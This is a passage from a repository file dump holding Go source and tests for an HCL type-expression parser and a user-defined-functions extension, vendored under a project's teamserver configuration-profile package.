arguments.`,\n        },\n        {\n            `any()`,\n            true,\n            cty.DynamicPseudoType,\n            `Primitive type keyword \"any\" does not expect arguments.`,\n        },\n        {\n            `list(string)`,\n            false,\n            cty.List(cty.String),\n            ``,\n        },\n        {\n            `set(string)`,\n            false,\n            cty.Set(cty.String),\n            ``,\n        },\n        {\n            `map(string)`,\n            false,\n            cty.Map(cty.String),\n            ``,\n        },\n        {\n            `list()`,\n            false,\n            cty.DynamicPseudoType,\n            `The list type constructor requires one argument specifying the element type.`,\n        },\n        {\n            `list(string, string)`,\n            false,\n            cty.DynamicPseudoType,\n            `The list type constructor requires one argument specifying the element type.`,\n        },\n        {\n            `list(any)`,\n            false,\n            cty.List(cty.DynamicPseudoType),\n            `The keyword \"any\" cannot be used in this type specification: an exact type is required.`,\n        },\n        {\n            `list(any)`,\n            true,\n            cty.List(cty.DynamicPseudoType),\n            ``,\n        },\n        {\n            `object({})`,\n            false,\n            cty.EmptyObject,\n            ``,\n        },\n        {\n            `object({name=string})`,\n            false,\n            cty.Object(map[string]cty.Type{\"name\": cty.String}),\n            ``,\n        },\n        {\n            `object({\"name\"=string})`,\n            false,\n            cty.EmptyObject,\n            `Object constructor map keys must be attribute names.`,\n        },\n        {\n            `object({name=nope})`,\n            false,\n            cty.Object(map[string]cty.Type{\"name\": cty.DynamicPseudoType}),\n            `The keyword \"nope\" is not a valid type specification.`,\n        },\n        {\n            `object()`,\n            false,\n            cty.DynamicPseudoType,\n            `The object type constructor requires one argument specifying the attribute types and values as a map.`,\n        },\n        {\n            `object(string)`,\n            false,\n            cty.DynamicPseudoType,\n            `Object type constructor requires a map whose keys are attribute names and whose values are the corresponding attribute types.`,\n        },\n        {\n            `tuple([])`,\n            false,\n            cty.EmptyTuple,\n            ``,\n        },\n        {\n            `tuple([string, bool])`,\n            false,\n            cty.Tuple([]cty.Type{cty.String, cty.Bool}),\n            ``,\n        },\n        {\n            `tuple([nope])`,\n            false,\n            cty.Tuple([]cty.Type{cty.DynamicPseudoType}),\n            `The keyword \"nope\" is not a valid type specification.`,\n        },\n        {\n            `tuple()`,\n            false,\n            cty.DynamicPseudoType,\n            `The tuple type constructor requires one argument specifying the element types as a list.`,\n        },\n        {\n            `tuple(string)`,\n            false,\n            cty.DynamicPseudoType,\n            `Tuple type constructor requires a list of element types.`,\n        },\n        {\n            `shwoop(string)`,\n            false,\n            cty.DynamicPseudoType,\n            `Keyword \"shwoop\" is not a valid type constructor.`,\n        },\n        {\n            `list(\"string\")`,\n            false,\n            cty.List(cty.DynamicPseudoType),\n            `A type specification is either a primitive type keyword (bool, number, string) or a complex type constructor call, like list(string).`,\n        },\n\n        // More interesting combinations\n        {\n            `list(object({}))`,\n            false,\n            cty.List(cty.EmptyObject),\n            ``,\n        },\n        {\n            `list(map(tuple([])))`,\n            false,\n            cty.List(cty.Map(cty.EmptyTuple)),\n            ``,\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(test.Source, func(t *testing.T) {\n            expr, diags := hclsyntax.ParseExpression([]byte(test.Source), \"\", hcl.Pos{Line: 1, Column: 1})\n            if diags.HasErrors() {\n                t.Fatalf(\"failed to parse: %s\", diags)\n            }\n\n            got, diags := getType(expr, test.Constraint)\n            if test.WantError == \"\" {\n                for _, diag := range diags {\n                    t.Error(diag)\n                }\n            } else {\n                found := false\n                for _, diag := range diags {\n                    t.Log(diag)\n                    if diag.Severity == hcl.DiagError && diag.Detail == test.WantError {\n                        found = true\n                    }\n                }\n                if !found {\n                    t.Errorf(\"missing expected error detail message: %s\", test.WantError)\n                }\n            }\n\n            if !got.Equals(test.Want) {\n                t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, test.Want)\n            }\n        })\n    }\n}\n\nfunc TestGetTypeJSON(t *testing.T) {\n    // We have fewer test cases here because we're mainly exercising the\n    // extra indirection in the JSON syntax package, which ultimately calls\n    // into the native syntax parser (which we tested extensively in\n    // TestGetType).\n    tests := []struct {\n        Source     string\n        Constraint bool\n        Want       cty.Type\n        WantError  string\n    }{\n        {\n            `{\"expr\":\"bool\"}`,\n            false,\n            cty.Bool,\n            \"\",\n        },\n        {\n            `{\"expr\":\"list(bool)\"}`,\n            false,\n            cty.List(cty.Bool),\n            \"\",\n        },\n        {\n            `{\"expr\":\"list\"}`,\n            false,\n            cty.DynamicPseudoType,\n            \"The list type constructor requires one argument specifying the element type.\",\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(test.Source, func(t *testing.T) {\n            file, diags := json.Parse([]byte(test.Source), \"\")\n            if diags.HasErrors() {\n                t.Fatalf(\"failed to parse: %s\", diags)\n            }\n\n            type TestContent struct {\n                Expr hcl.Expression `hcl:\"expr\"`\n            }\n            var content TestContent\n            diags = gohcl.DecodeBody(file.Body, nil, &content)\n            if diags.HasErrors() {\n                t.Fatalf(\"failed to decode: %s\", diags)\n            }\n\n            got, diags := getType(content.Expr, test.Constraint)\n            if test.WantError == \"\" {\n                for _, diag := range diags {\n                    t.Error(diag)\n                }\n            } else {\n                found := false\n                for _, diag := range diags {\n                    t.Log(diag)\n                    if diag.Severity == hcl.DiagError && diag.Detail == test.WantError {\n                        found = true\n                    }\n                }\n                if !found {\n                    t.Errorf(\"missing expected error detail message: %s\", test.WantError)\n                }\n            }\n\n            if !got.Equals(test.Want) {\n                t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, test.Want)\n            }\n        })\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/typeexpr/public.go",
    "content": "package typeexpr\n\nimport (\n    \"bytes\"\n    \"fmt\"\n    \"sort\"\n\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\n// Type attempts to process the given expression as a type expression and, if\n// successful, returns the resulting type. If unsuccessful, error diagnostics\n// are returned.\nfunc Type(expr hcl.Expression) (cty.Type, hcl.Diagnostics) {\n    return getType(expr, false)\n}\n\n// TypeConstraint attempts to parse the given expression as a type constraint\n// and, if successful, returns the resulting type. If unsuccessful, error\n// diagnostics are returned.\n//\n// A type constraint has the same structure as a type, but it additionally\n// allows the keyword \"any\" to represent cty.DynamicPseudoType, which is often\n// used as a wildcard in type checking and type conversion operations.\nfunc TypeConstraint(expr hcl.Expression) (cty.Type, hcl.Diagnostics) {\n    return getType(expr, true)\n}\n\n// TypeString returns a string rendering of the given type as it would be\n// expected to appear in the HCL native syntax.\n//\n// This is primarily intended for showing types to the user in an application\n// that uses typexpr, where the user can be assumed to be familiar with the\n// type expression syntax. In applications that do not use typeexpr these\n// results may be confusing to the user and so type.FriendlyName may be\n// preferable, even though it's less precise.\n//\n// TypeString produces reasonable results only for types like what would be\n// produced by the Type and TypeConstraint functions. In particular, it cannot\n// support capsule types.\nfunc TypeString(ty cty.Type) string {\n    // Easy cases first\n    switch ty {\n    case cty.String:\n        return \"string\"\n    case cty.Bool:\n        return \"bool\"\n    case cty.Number:\n        return \"number\"\n    case cty.DynamicPseudoType:\n        return \"any\"\n    }\n\n    if ty.IsCapsuleType() {\n        panic(\"TypeString does not support capsule types\")\n    }\n\n    if ty.IsCollectionType() {\n        ety := ty.ElementType()\n        etyString := TypeString(ety)\n        switch {\n        case ty.IsListType():\n            return fmt.Sprintf(\"list(%s)\", etyString)\n        case ty.IsSetType():\n            return fmt.Sprintf(\"set(%s)\", etyString)\n        case ty.IsMapType():\n            return fmt.Sprintf(\"map(%s)\", etyString)\n        default:\n            // Should never happen because the above is exhaustive\n            panic(\"unsupported collection type\")\n        }\n    }\n\n    if ty.IsObjectType() {\n        var buf bytes.Buffer\n        buf.WriteString(\"object({\")\n        atys := ty.AttributeTypes()\n        names := make([]string, 0, len(atys))\n        for name := range atys {\n            names = append(names, name)\n        }\n        sort.Strings(names)\n        first := true\n        for _, name := range names {\n            aty := atys[name]\n            if !first {\n                buf.WriteByte(',')\n            }\n            if !hclsyntax.ValidIdentifier(name) {\n                // Should never happen for any type produced by this package,\n                // but we'll do something reasonable here just so we don't\n                // produce garbage if someone gives us a hand-assembled object\n                // type that has weird attribute names.\n                // Using Go-style quoting here isn't perfect, since it doesn't\n                // exactly match HCL syntax, but it's fine for an edge-case.\n                buf.WriteString(fmt.Sprintf(\"%q\", name))\n            } else {\n                buf.WriteString(name)\n            }\n            buf.WriteByte('=')\n            buf.WriteString(TypeString(aty))\n            first = false\n        }\n        buf.WriteString(\"})\")\n        return buf.String()\n    }\n\n    if ty.IsTupleType() {\n        var buf bytes.Buffer\n        buf.WriteString(\"tuple([\")\n        etys := ty.TupleElementTypes()\n        first := true\n        for _, ety := range etys {\n            if !first {\n                buf.WriteByte(',')\n            }\n            buf.WriteString(TypeString(ety))\n            first = false\n        }\n        buf.WriteString(\"])\")\n        return buf.String()\n    }\n\n    // Should never happen because we covered all cases above.\n    panic(fmt.Errorf(\"unsupported type %#v\", ty))\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/typeexpr/type_string_test.go",
    "content": "package typeexpr\n\nimport (\n\t\"testing\"\n\n\t\"github.com/zclconf/go-cty/cty\"\n)\n\nfunc TestTypeString(t *testing.T) {\n\ttests := []struct {\n\t\tType cty.Type\n\t\tWant string\n\t}{\n\t\t{\n\t\t\tcty.DynamicPseudoType,\n\t\t\t\"any\",\n\t\t},\n\t\t{\n\t\t\tcty.String,\n\t\t\t\"string\",\n\t\t},\n\t\t{\n\t\t\tcty.Number,\n\t\t\t\"number\",\n\t\t},\n\t\t{\n\t\t\tcty.Bool,\n\t\t\t\"bool\",\n\t\t},\n\t\t{\n\t\t\tcty.List(cty.Number),\n\t\t\t\"list(number)\",\n\t\t},\n\t\t{\n\t\t\tcty.Set(cty.Bool),\n\t\t\t\"set(bool)\",\n\t\t},\n\t\t{\n\t\t\tcty.Map(cty.String),\n\t\t\t\"map(string)\",\n\t\t},\n\t\t{\n\t\t\tcty.EmptyObject,\n\t\t\t\"object({})\",\n\t\t},\n\t\t{\n\t\t\tcty.Object(map[string]cty.Type{\"foo\": cty.Bool}),\n\t\t\t\"object({foo=bool})\",\n\t\t},\n\t\t{\n\t\t\tcty.Object(map[string]cty.Type{\"foo\": cty.Bool, \"bar\": cty.String}),\n\t\t\t\"object({bar=string,foo=bool})\",\n\t\t},\n\t\t{\n\t\t\tcty.EmptyTuple,\n\t\t\t\"tuple([])\",\n\t\t},\n\t\t{\n\t\t\tcty.Tuple([]cty.Type{cty.Bool}),\n\t\t\t\"tuple([bool])\",\n\t\t},\n\t\t{\n\t\t\tcty.Tuple([]cty.Type{cty.Bool, cty.String}),\n\t\t\t\"tuple([bool,string])\",\n\t\t},\n\t\t{\n\t\t\tcty.List(cty.DynamicPseudoType),\n\t\t\t\"list(any)\",\n\t\t},\n\t\t{\n\t\t\tcty.Tuple([]cty.Type{cty.DynamicPseudoType}),\n\t\t\t\"tuple([any])\",\n\t\t},\n\t\t{\n\t\t\tcty.Object(map[string]cty.Type{\"foo\": cty.DynamicPseudoType}),\n\t\t\t\"object({foo=any})\",\n\t\t},\n\t\t{\n\t\t\t// We don't expect to find attributes that aren't valid identifiers\n\t\t\t// because we only promise to support types that this package\n\t\t\t// would've created, but we allow this situation during rendering\n\t\t\t// just because it's convenient for applications trying to produce\n\t\t\t// error messages about mismatched types. Note that the quoted\n\t\t\t// attribute name is not actually accepted by our Type and\n\t\t\t// TypeConstraint functions, so this is one situation where the\n\t\t\t// TypeString result cannot be re-parsed by those functions.\n\t\t\tcty.Object(map[string]cty.Type{\"foo bar baz\": cty.String}),\n\t\t\t`object({\"foo bar baz\"=string})`,\n\t\t},\n\t}\n\n\tfor _, test := range tests {\n\t\tt.Run(test.Type.GoString(), func(t *testing.T) {\n\t\t\tgot := TypeString(test.Type)\n\t\t\tif got != test.Want {\n\t\t\t\tt.Errorf(\"wrong result\\ntype: %#v\\ngot:  %s\\nwant: %s\", test.Type, got, test.Want)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/typeexpr/type_type.go",
    "content": "package typeexpr\n\nimport (\n    \"fmt\"\n    \"reflect\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/ext/customdecode\"\n    \"github.com/zclconf/go-cty/cty\"\n    \"github.com/zclconf/go-cty/cty/convert\"\n    \"github.com/zclconf/go-cty/cty/function\"\n)\n\n// TypeConstraintType is a cty capsule type that allows cty type constraints to\n// be used as values.\n//\n// If TypeConstraintType is used in a context supporting the\n// customdecode.CustomExpressionDecoder extension then it will implement\n// expression decoding using the TypeConstraint function, thus allowing\n// type expressions to be used in contexts where value expressions might\n// normally be expected, such as in arguments to function calls.\nvar TypeConstraintType cty.Type\n\n// TypeConstraintVal constructs a cty.Value whose type is\n// TypeConstraintType.\nfunc TypeConstraintVal(ty cty.Type) cty.Value {\n    return cty.CapsuleVal(TypeConstraintType, &ty)\n}\n\n// TypeConstraintFromVal extracts the type from a cty.Value of\n// TypeConstraintType that was previously constructed using TypeConstraintVal.\n//\n// If the given value isn't a known, non-null value of TypeConstraintType\n// then this function will panic.\nfunc TypeConstraintFromVal(v cty.Value) cty.Type {\n    if !v.Type().Equals(TypeConstraintType) {\n        panic(\"value is not of TypeConstraintType\")\n    }\n    ptr := v.EncapsulatedValue().(*cty.Type)\n    return *ptr\n}\n\n// ConvertFunc is a cty function that implements type conversions.\n//\n// Its signature is as follows:\n//     convert(value, type_constraint)\n//\n// ...where type_constraint is a type constraint expression as defined by\n// typeexpr.TypeConstraint.\n//\n// It relies on HCL's customdecode extension and so it's not suitable for use\n// in non-HCL contexts or if you are using a HCL syntax implementation that\n// does not support customdecode for function arguments. However, it _is_\n// supported for function calls in the HCL native expression syntax.\nvar ConvertFunc function.Function\n\nfunc init() {\n    TypeConstraintType = cty.CapsuleWithOps(\"type constraint\", reflect.TypeOf(cty.Type{}), &cty.CapsuleOps{\n        ExtensionData: func(key interface{}) interface{} {\n            switch key {\n            case customdecode.CustomExpressionDecoder:\n                return customdecode.CustomExpressionDecoderFunc(\n                    func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n                        ty, diags := TypeConstraint(expr)\n                        if diags.HasErrors() {\n                            return cty.NilVal, diags\n                        }\n                        return TypeConstraintVal(ty), nil\n                    },\n                )\n            default:\n                return nil\n            }\n        },\n        TypeGoString: func(_ reflect.Type) string {\n            return \"typeexpr.TypeConstraintType\"\n        },\n        GoString: func(raw interface{}) string {\n            tyPtr := raw.(*cty.Type)\n            return fmt.Sprintf(\"typeexpr.TypeConstraintVal(%#v)\", *tyPtr)\n        },\n        RawEquals: func(a, b interface{}) bool {\n            aPtr := a.(*cty.Type)\n            bPtr := b.(*cty.Type)\n            return (*aPtr).Equals(*bPtr)\n        },\n    })\n\n    ConvertFunc = function.New(&function.Spec{\n        Params: []function.Parameter{\n            {\n                Name:             \"value\",\n                Type:             cty.DynamicPseudoType,\n                AllowNull:        true,\n                AllowDynamicType: true,\n            },\n            {\n                Name: \"type\",\n                Type: TypeConstraintType,\n            },\n        },\n        Type: func(args []cty.Value) (cty.Type, error) {\n            wantTypePtr := args[1].EncapsulatedValue().(*cty.Type)\n            got, err := convert.Convert(args[0], *wantTypePtr)\n            if err != nil {\n                return cty.NilType, function.NewArgError(0, err)\n            }\n            return got.Type(), nil\n        },\n        Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) {\n            v, err := convert.Convert(args[0], retType)\n            if err != nil {\n                return cty.NilVal, function.NewArgError(0, err)\n            }\n            return v, nil\n        },\n    })\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/typeexpr/type_type_test.go",
    "content": "package typeexpr\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/zclconf/go-cty/cty\"\n)\n\nfunc TestTypeConstraintType(t *testing.T) {\n\ttyVal1 := TypeConstraintVal(cty.String)\n\ttyVal2 := TypeConstraintVal(cty.String)\n\ttyVal3 := TypeConstraintVal(cty.Number)\n\n\tif !tyVal1.RawEquals(tyVal2) {\n\t\tt.Errorf(\"tyVal1 not equal to tyVal2\\ntyVal1: %#v\\ntyVal2: %#v\", tyVal1, tyVal2)\n\t}\n\tif tyVal1.RawEquals(tyVal3) {\n\t\tt.Errorf(\"tyVal1 equal to tyVal2, but should not be\\ntyVal1: %#v\\ntyVal3: %#v\", tyVal1, tyVal3)\n\t}\n\n\tif got, want := TypeConstraintFromVal(tyVal1), cty.String; !got.Equals(want) {\n\t\tt.Errorf(\"wrong type extracted from tyVal1\\ngot:  %#v\\nwant: %#v\", got, want)\n\t}\n\tif got, want := TypeConstraintFromVal(tyVal3), cty.Number; !got.Equals(want) {\n\t\tt.Errorf(\"wrong type extracted from tyVal3\\ngot:  %#v\\nwant: %#v\", got, want)\n\t}\n}\n\nfunc TestConvertFunc(t *testing.T) {\n\t// This is testing the convert function directly, skipping over the HCL\n\t// parsing and evaluation steps that would normally lead there. There is\n\t// another test in the \"integrationtest\" package called TestTypeConvertFunc\n\t// that exercises the full path to this function via the hclsyntax parser.\n\n\ttests := []struct {\n\t\tval, ty cty.Value\n\t\twant    cty.Value\n\t\twantErr string\n\t}{\n\t\t// The goal here is not an exhaustive set of conversions, since that's\n\t\t// already covered in cty/convert, but rather exercising different\n\t\t// permutations of success and failure to make sure the function\n\t\t// handles all of the results in a reasonable way.\n\t\t{\n\t\t\tcty.StringVal(\"hello\"),\n\t\t\tTypeConstraintVal(cty.String),\n\t\t\tcty.StringVal(\"hello\"),\n\t\t\t``,\n\t\t},\n\t\t{\n\t\t\tcty.True,\n\t\t\tTypeConstraintVal(cty.String),\n\t\t\tcty.StringVal(\"true\"),\n\t\t\t``,\n\t\t},\n\t\t{\n\t\t\tcty.StringVal(\"hello\"),\n\t\t\tTypeConstraintVal(cty.Bool),\n\t\t\tcty.NilVal,\n\t\t\t`a bool is required`,\n\t\t},\n\t\t{\n\t\t\tcty.UnknownVal(cty.Bool),\n\t\t\tTypeConstraintVal(cty.Bool),\n\t\t\tcty.UnknownVal(cty.Bool),\n\t\t\t``,\n\t\t},\n\t\t{\n\t\t\tcty.DynamicVal,\n\t\t\tTypeConstraintVal(cty.Bool),\n\t\t\tcty.UnknownVal(cty.Bool),\n\t\t\t``,\n\t\t},\n\t\t{\n\t\t\tcty.NullVal(cty.Bool),\n\t\t\tTypeConstraintVal(cty.Bool),\n\t\t\tcty.NullVal(cty.Bool),\n\t\t\t``,\n\t\t},\n\t\t{\n\t\t\tcty.NullVal(cty.DynamicPseudoType),\n\t\t\tTypeConstraintVal(cty.Bool),\n\t\t\tcty.NullVal(cty.Bool),\n\t\t\t``,\n\t\t},\n\t\t{\n\t\t\tcty.StringVal(\"hello\").Mark(1),\n\t\t\tTypeConstraintVal(cty.String),\n\t\t\tcty.StringVal(\"hello\").Mark(1),\n\t\t\t``,\n\t\t},\n\t}\n\n\tfor _, test := range tests {\n\t\tt.Run(fmt.Sprintf(\"%#v to %#v\", test.val, test.ty), func(t *testing.T) {\n\t\t\tgot, err := ConvertFunc.Call([]cty.Value{test.val, test.ty})\n\n\t\t\tif err != nil {\n\t\t\t\tif test.wantErr != \"\" {\n\t\t\t\t\tif got, want := err.Error(), test.wantErr; got != want {\n\t\t\t\t\t\tt.Errorf(\"wrong error\\ngot:  %s\\nwant: %s\", got, want)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tt.Errorf(\"unexpected error\\ngot:  %s\\nwant: <nil>\", err)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif test.wantErr != \"\" {\n\t\t\t\tt.Errorf(\"wrong error\\ngot:  <nil>\\nwant: %s\", test.wantErr)\n\t\t\t}\n\n\t\t\tif !test.want.RawEquals(got) {\n\t\t\t\tt.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, test.want)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/userfunc/README.md",
    "content": "# HCL User Functions Extension\n\nThis HCL extension allows a calling application to support user-defined\nfunctions.\n\nFunctions are defined via a specific block type, like this:\n\n```hcl\nfunction \"add\" {\n  params = [a, b]\n  result = a + b\n}\n\nfunction \"list\" {\n  params         = []\n  variadic_param = items\n  result         = items\n}\n```\n\nThe extension is implemented as a pre-processor for `cty.Body` objects. Given\na body that may contain functions, the `DecodeUserFunctions` function searches\nfor blocks that define functions and returns a functions map suitable for\ninclusion in a `hcl.EvalContext`. It also returns a new `cty.Body` that\ncontains the remainder of the content from the given body, allowing for\nfurther processing of remaining content.\n\nFor more information, see [the godoc reference](https://pkg.go.dev/Havoc/pkg/profile/yaotl/ext/userfunc?tab=doc).\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/userfunc/decode.go",
    "content": "package userfunc\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n    \"github.com/zclconf/go-cty/cty/function\"\n)\n\nvar funcBodySchema = &hcl.BodySchema{\n    Attributes: []hcl.AttributeSchema{\n        {\n            Name:     \"params\",\n            Required: true,\n        },\n        {\n            Name:     \"variadic_param\",\n            Required: false,\n        },\n        {\n            Name:     \"result\",\n            Required: true,\n        },\n    },\n}\n\nfunc decodeUserFunctions(body hcl.Body, blockType string, contextFunc ContextFunc) (funcs map[string]function.Function, remain hcl.Body, diags hcl.Diagnostics) {\n    schema := &hcl.BodySchema{\n        Blocks: []hcl.BlockHeaderSchema{\n            {\n                Type:       blockType,\n                LabelNames: []string{\"name\"},\n            },\n        },\n    }\n\n    content, remain, diags := body.PartialContent(schema)\n    if diags.HasErrors() {\n        return nil, remain, diags\n    }\n\n    // first call to getBaseCtx will populate context, and then the same\n    // context will be used for all subsequent calls. It's assumed that\n    // all functions in a given body should see an identical context.\n    var baseCtx *hcl.EvalContext\n    getBaseCtx := func() *hcl.EvalContext {\n        if baseCtx == nil {\n            if contextFunc != nil {\n                baseCtx = contextFunc()\n            }\n        }\n        // baseCtx might still be nil here, and that's okay\n        return baseCtx\n    }\n\n    funcs = make(map[string]function.Function)\nBlocks:\n    for _, block := range content.Blocks {\n        name := block.Labels[0]\n        funcContent, funcDiags := block.Body.Content(funcBodySchema)\n        diags = append(diags, funcDiags...)\n        if funcDiags.HasErrors() {\n            continue\n        }\n\n        paramsExpr := funcContent.Attributes[\"params\"].Expr\n        resultExpr := funcContent.Attributes[\"result\"].Expr\n        var varParamExpr hcl.Expression\n        if funcContent.Attributes[\"variadic_param\"] != nil {\n            varParamExpr = funcContent.Attributes[\"variadic_param\"].Expr\n        }\n\n        var params []string\n        var varParam string\n\n        paramExprs, paramsDiags := hcl.ExprList(paramsExpr)\n        diags = append(diags, paramsDiags...)\n        if paramsDiags.HasErrors() {\n            continue\n        }\n        for _, paramExpr := range paramExprs {\n            param := hcl.ExprAsKeyword(paramExpr)\n            if param == \"\" {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid param element\",\n                    Detail:   \"Each parameter name must be an identifier.\",\n                    Subject:  paramExpr.Range().Ptr(),\n                })\n                continue Blocks\n            }\n            params = append(params, param)\n        }\n\n        if varParamExpr != nil {\n            varParam = hcl.ExprAsKeyword(varParamExpr)\n            if varParam == \"\" {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid variadic_param\",\n                    Detail:   \"The variadic parameter name must be an identifier.\",\n                    Subject:  varParamExpr.Range().Ptr(),\n                })\n                continue\n            }\n        }\n\n        spec := &function.Spec{}\n        for _, paramName := range params {\n            spec.Params = append(spec.Params, function.Parameter{\n                Name: paramName,\n                Type: cty.DynamicPseudoType,\n            })\n        }\n        if varParamExpr != nil {\n            spec.VarParam = &function.Parameter{\n                Name: varParam,\n                Type: cty.DynamicPseudoType,\n            }\n        }\n        impl := func(args []cty.Value) (cty.Value, error) {\n            ctx := getBaseCtx()\n            ctx = ctx.NewChild()\n            ctx.Variables = make(map[string]cty.Value)\n\n            // The cty function machinery guarantees that we have at least\n            // enough args to fill all of our params.\n            for i, paramName := range params {\n                ctx.Variables[paramName] = args[i]\n            }\n            if spec.VarParam != nil {\n                varArgs := args[len(params):]\n                ctx.Variables[varParam] = cty.TupleVal(varArgs)\n            }\n\n            result, diags := resultExpr.Value(ctx)\n            if diags.HasErrors() {\n                // Smuggle the diagnostics out via the error channel, since\n                // a diagnostics sequence implements error. Caller can\n                // type-assert this to recover the individual diagnostics\n                // if desired.\n                return cty.DynamicVal, diags\n            }\n            return result, nil\n        }\n        spec.Type = func(args []cty.Value) (cty.Type, error) {\n            val, err := impl(args)\n            return val.Type(), err\n        }\n        spec.Impl = func(args []cty.Value, retType cty.Type) (cty.Value, error) {\n            return impl(args)\n        }\n        funcs[name] = function.New(spec)\n    }\n\n    return funcs, remain, diags\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/userfunc/decode_test.go",
    "content": "package userfunc\n\nimport (\n    \"fmt\"\n    \"testing\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\nfunc TestDecodeUserFunctions(t *testing.T) {\n    tests := []struct {\n        src       string\n        testExpr  string\n        baseCtx   *hcl.EvalContext\n        want      cty.Value\n        diagCount int\n    }{\n        {\n            `\nfunction \"greet\" {\n  params = [name]\n  result = \"Hello, ${name}.\"\n}\n`,\n            `greet(\"Ermintrude\")`,\n            nil,\n            cty.StringVal(\"Hello, Ermintrude.\"),\n            0,\n        },\n        {\n            `\nfunction \"greet\" {\n  params = [name]\n  result = \"Hello, ${name}.\"\n}\n`,\n            `greet()`,\n            nil,\n            cty.DynamicVal,\n            1, // missing value for \"name\"\n        },\n        {\n            `\nfunction \"greet\" {\n  params = [name]\n  result = \"Hello, ${name}.\"\n}\n`,\n            `greet(\"Ermintrude\", \"extra\")`,\n            nil,\n            cty.DynamicVal,\n            1, // too many arguments\n        },\n        {\n            `\nfunction \"add\" {\n  params = [a, b]\n  result = a + b\n}\n`,\n            `add(1, 5)`,\n            nil,\n            cty.NumberIntVal(6),\n            0,\n        },\n        {\n            `\nfunction \"argstuple\" {\n  params = []\n  variadic_param = args\n  result = args\n}\n`,\n            `argstuple(\"a\", true, 1)`,\n            nil,\n            cty.TupleVal([]cty.Value{cty.StringVal(\"a\"), cty.True, cty.NumberIntVal(1)}),\n            0,\n        },\n        {\n            `\nfunction \"missing_var\" {\n  params = []\n  result = nonexist\n}\n`,\n            `missing_var()`,\n            nil,\n            cty.DynamicVal,\n            1, // no variable named \"nonexist\"\n        },\n        {\n            `\nfunction \"closure\" {\n  params = []\n  result = upvalue\n}\n`,\n            `closure()`,\n            &hcl.EvalContext{\n                Variables: map[string]cty.Value{\n                    \"upvalue\": cty.True,\n                },\n            },\n            cty.True,\n            0,\n        },\n        {\n            `\nfunction \"neg\" {\n  params = [val]\n  result = -val\n}\nfunction \"add\" {\n  params = [a, b]\n  result = a + b\n}\n`,\n            `neg(add(1, 3))`,\n            nil,\n            cty.NumberIntVal(-4),\n            0,\n        },\n        {\n            `\nfunction \"neg\" {\n  parrams = [val]\n  result = -val\n}\n`,\n            `null`,\n            nil,\n            cty.NullVal(cty.DynamicPseudoType),\n            2, // missing attribute \"params\", and unknown attribute \"parrams\"\n        },\n    }\n\n    for i, test := range tests {\n        t.Run(fmt.Sprintf(\"%02d\", i), func(t *testing.T) {\n            f, diags := hclsyntax.ParseConfig([]byte(test.src), \"config\", hcl.Pos{Line: 1, Column: 1})\n            if f == nil || f.Body == nil {\n                t.Fatalf(\"got nil file or body\")\n            }\n\n            funcs, _, funcsDiags := decodeUserFunctions(f.Body, \"function\", func() *hcl.EvalContext {\n                return test.baseCtx\n            })\n            diags = append(diags, funcsDiags...)\n\n            expr, exprParseDiags := hclsyntax.ParseExpression([]byte(test.testExpr), \"testexpr\", hcl.Pos{Line: 1, Column: 1})\n            diags = append(diags, exprParseDiags...)\n            if expr == nil {\n                t.Fatalf(\"parsing test expr returned nil\")\n            }\n\n            got, exprDiags := expr.Value(&hcl.EvalContext{\n                Functions: funcs,\n            })\n            diags = append(diags, exprDiags...)\n\n            if len(diags) != test.diagCount {\n                t.Errorf(\"wrong number of diagnostics %d; want %d\", len(diags), test.diagCount)\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag)\n                }\n            }\n\n            if !got.RawEquals(test.want) {\n                t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, test.want)\n            }\n        })\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/userfunc/doc.go",
    "content": "// Package userfunc implements a HCL extension that allows user-defined\n// functions in HCL configuration.\n//\n// Using this extension requires some integration effort on the part of the\n// calling application, to pass any declared functions into a HCL evaluation\n// context after processing.\n//\n// The function declaration syntax looks like this:\n//\n//     function \"foo\" {\n//       params = [\"name\"]\n//       result = \"Hello, ${name}!\"\n//     }\n//\n// When a user-defined function is called, the expression given for the \"result\"\n// attribute is evaluated in an isolated evaluation context that defines variables\n// named after the given parameter names.\n//\n// The block name \"function\" may be overridden by the calling application, if\n// that default name conflicts with an existing block or attribute name in\n// the application.\npackage userfunc\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/userfunc/public.go",
